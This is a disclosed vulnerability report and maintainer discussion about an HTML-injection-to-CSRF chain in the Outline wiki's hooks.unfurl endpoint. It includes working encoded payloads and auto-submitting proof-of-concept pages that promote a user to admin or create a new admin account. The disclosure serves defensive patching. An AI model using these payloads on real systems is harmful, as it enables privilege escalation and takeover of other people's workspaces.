Site-wide CSRF (Bypass Strict Cookie) leave to Website Takeover in outline/outline

Valid

Reported on

Jan 10th 2023


I reported this vulnerability once a long time ago, but you still haven't fixed it. I report back to remind you need to fix it.

Description

At the api/hooks.unfurl, when sending a post request containing a param challenge, the server will return the value of that param, which inadvertently leave to HTML Injection vulnerability.

router.post("hooks.unfurl", async (ctx: APIContext) => {
  const { challenge, token, event } = ctx.request.body;
  if (challenge) {
    return (ctx.body = ctx.request.body.challenge);
  }

From there we can create html form to csrf attack. This helped us bypass the strict cookie configuration.

Proof of Concept

1.Payload to render Promote form

challenge=<form+action%3d"https%3a//j0ok34n.xyz/api/users.promote"+method%3d"POST"><input+type%3d"hidden"+name%3d"id"+value%3d"87a06b4a%26%2345%3ba719%26%2345%3b4344%26%2345%3b86b3%26%2345%3be7dbc6217e9b"+/><input+type%3d"submit"+value%3d"Click+me!"+/></form>
  1. Create poc.html to auto request to api/hooks.unfurlwith payload:
<form action="https://j0ok34n.xyz/api/hooks.unfurl" method="POST">
    <input type="hidden" name="challenge"
        value="&lt;form&#32;action&#61;&quot;https&#58;&#47;&#47;j0ok34n&#46;xyz&#47;api&#47;users&#46;promote&quot;&#32;method&#61;&quot;POST&quot;&gt;&lt;input&#32;type&#61;&quot;hidden&quot;&#32;name&#61;&quot;id&quot;&#32;value&#61;&quot;87a06b4a&amp;&#35;45&#59;a719&amp;&#35;45&#59;4344&amp;&#35;45&#59;86b3&amp;&#35;45&#59;e7dbc6217e9b&quot;&#32;&#47;&gt;&lt;input&#32;type&#61;&quot;submit&quot;&#32;value&#61;&quot;Click&#32;me&#33;&quot;&#32;&#47;&gt;&lt;&#47;form&gt;" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>
  1. Open file poc.html in browser have admin sesion, Click to Click me, user with previously set id will be promote to admin.

Youtube PoC: https://youtu.be/lQdJvZ73690

Impact

Site wide CSRF, Promote to Admin, Takeover Website...

We are processing your report and will contact the outline team within 24 hours. 8 months ago
j0ok34n
8 months ago

Researcher


Solution:

  • Remove auth with the accesstoken cookie.
  • escapeHTML
We have contacted a member of the outline team and are waiting to hear back 8 months ago
Tom Moor
8 months ago

Maintainer


This is a very high effort attack that would let you potentially trick an admin on your own team into promoting your user, correct?

j0ok34n
8 months ago

Researcher


Yep, when Admin clicks Click me!, attacker's account will be promoted to admin role

j0ok34n
8 months ago

Researcher


There are many other endpoints affected, but promoting to admin role is probably the biggest impact of this vulnerability.

j0ok34n modified the report
8 months ago
Tom Moor
8 months ago

Maintainer


I score it as medium – https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N

Existing privileges are required and the impact is not equivalent to leaking private keys or passwords so does not deserve to be high. You have to already have an account on the same team, aka trusted team member!

j0ok34n
8 months ago

Researcher


ATTACK COMPLEXITY is high, I agree with you that, the attacker will have to trick others into following the action of clicking Click me!, moreover the victim must have an admin role in Team. But I think PRIVILEGES REQUIRED should be none, because the attacker doesn't need to be a member of the team, he just needs to trick the admin into clicking (Fake event to receive reward, hot video link...) As for CONFIDENTIALITY should be Hight, after upgrading to admin, the attacker has full rights to the team, so all the information in Team is takeover, now the admin password is no longer important. In addition, AVAILABILITY can also be left as Low, because an attacker can disable or delete a legitimate user's account, which affects AVAILABILITY. https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L

Tom Moor
8 months ago

Maintainer


They need to have an existing account so priviledges are required.

j0ok34n
8 months ago

Researcher


That's right, I forgot about that ^^ So is there anything else you want to change?

https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

j0ok34n modified the report
8 months ago
j0ok34n
8 months ago

Researcher


I recommend that the solution is to remove the authentication option by cookie AccessToken. I currently see it underused and rather redundantly.

You can put the accesstoken in Local Storage, and then it just acts as storage.

Tom Moor
8 months ago

Maintainer


Unfortunately the cookie seems to be required to allow for authentication for images where a GET request is made directly from an <img src> tag.

Tom Moor
8 months ago

Maintainer


You should find that this fixes the issue at hand: https://github.com/outline/outline/commit/785b9888dd4cfc4a61dad902f4dd2c2a97f23653

j0ok34n
8 months ago

Researcher


Yes, the vulnerability has been patched. I can't do it again.

j0ok34n
8 months ago

Researcher


Hi, can you mark this report?

j0ok34n modified the report
8 months ago
j0ok34n
8 months ago

Researcher


After careful consideration, I set the severity to medium (5.5).

j0ok34n
4 months ago

Researcher


Hi, I noticed that csrf vuln can also do invite a new user with the role of admin. So, attacker doesn't need an existing account. And severity will be High again. https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L

j0ok34n modified the report
4 months ago
Tom Moor
2 months ago

Maintainer


I don't see how this last part is related, sorry

j0ok34n
2 months ago

Researcher


Earlier, you said: "They need to have an existing account so priviledges are required." But I discovered this vulnerability can create a new admin account, without the need for an existing one. So Privileged required have to be None, and Severity will be up to High. Thanks!

j0ok34n
2 months ago

Researcher


Payload to Create Admin User form:

?challenge=<form+action%3d"/api/users.invite"+method%3d"POST"><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3bemail%26%2393%3b"+value%3d"test2%26%2364%3boutline%26%2346%3blocal"+/><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3bname%26%2393%3b"+value%3d"test%26%2364%3b"+/><input+type%3d"hidden"+name%3d"invites%26%2391%3b1%26%2393%3b%26%2391%3brole%26%2393%3b"+value%3d"admin"+/><input+type%3d"submit"+value%3d"Click+me"+/></form>

And poc.html auto request to /api/hooks.unfurl

<form action="https://<domain>/api/hooks.unfurl" method="POST">
    <input type="hidden" name="challenge"
        value="&lt;form&#32;action&#61;&quot;&#47;api&#47;users&#46;invite&quot;&#32;method&#61;&quot;POST&quot;&gt;&lt;input&#32;type&#61;&quot;hidden&quot;&#32;name&#61;&quot;invites&amp;&#35;91&#59;1&amp;&#35;93&#59;&amp;&#35;91&#59;email&amp;&#35;93&#59;&quot;&#32;value&#61;&quot;test2&amp;&#35;64&#59;outline&amp;&#35;46&#59;local&quot;&#32;&#47;&gt;&lt;input&#32;type&#61;&quot;hidden&quot;&#32;name&#61;&quot;invites&amp;&#35;91&#59;1&amp;&#35;93&#59;&amp;&#35;91&#59;name&amp;&#35;93&#59;&quot;&#32;value&#61;&quot;test&amp;&#35;64&#59;&quot;&#32;&#47;&gt;&lt;input&#32;type&#61;&quot;hidden&quot;&#32;name&#61;&quot;invites&amp;&#35;91&#59;1&amp;&#35;93&#59;&amp;&#35;91&#59;role&amp;&#35;93&#59;&quot;&#32;value&#61;&quot;admin&quot;&#32;&#47;&gt;&lt;input&#32;type&#61;&quot;submit&quot;&#32;value&#61;&quot;Click&#32;me&quot;&#32;&#47;&gt;&lt;&#47;form&gt;" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>

Result:

And if Admin click to Click Me, a new admin account will be created.

Tom Moor modified the Severity from High (8.2) to High (8) 2 months ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Tom Moor validated this vulnerability 2 months ago
j0ok34n has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Tom Moor marked this as fixed in 0.67.1 with commit 785b98 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Tom Moor published this vulnerability 2 months ago
hooks.ts#L47-L51 has been validated
to join this conversation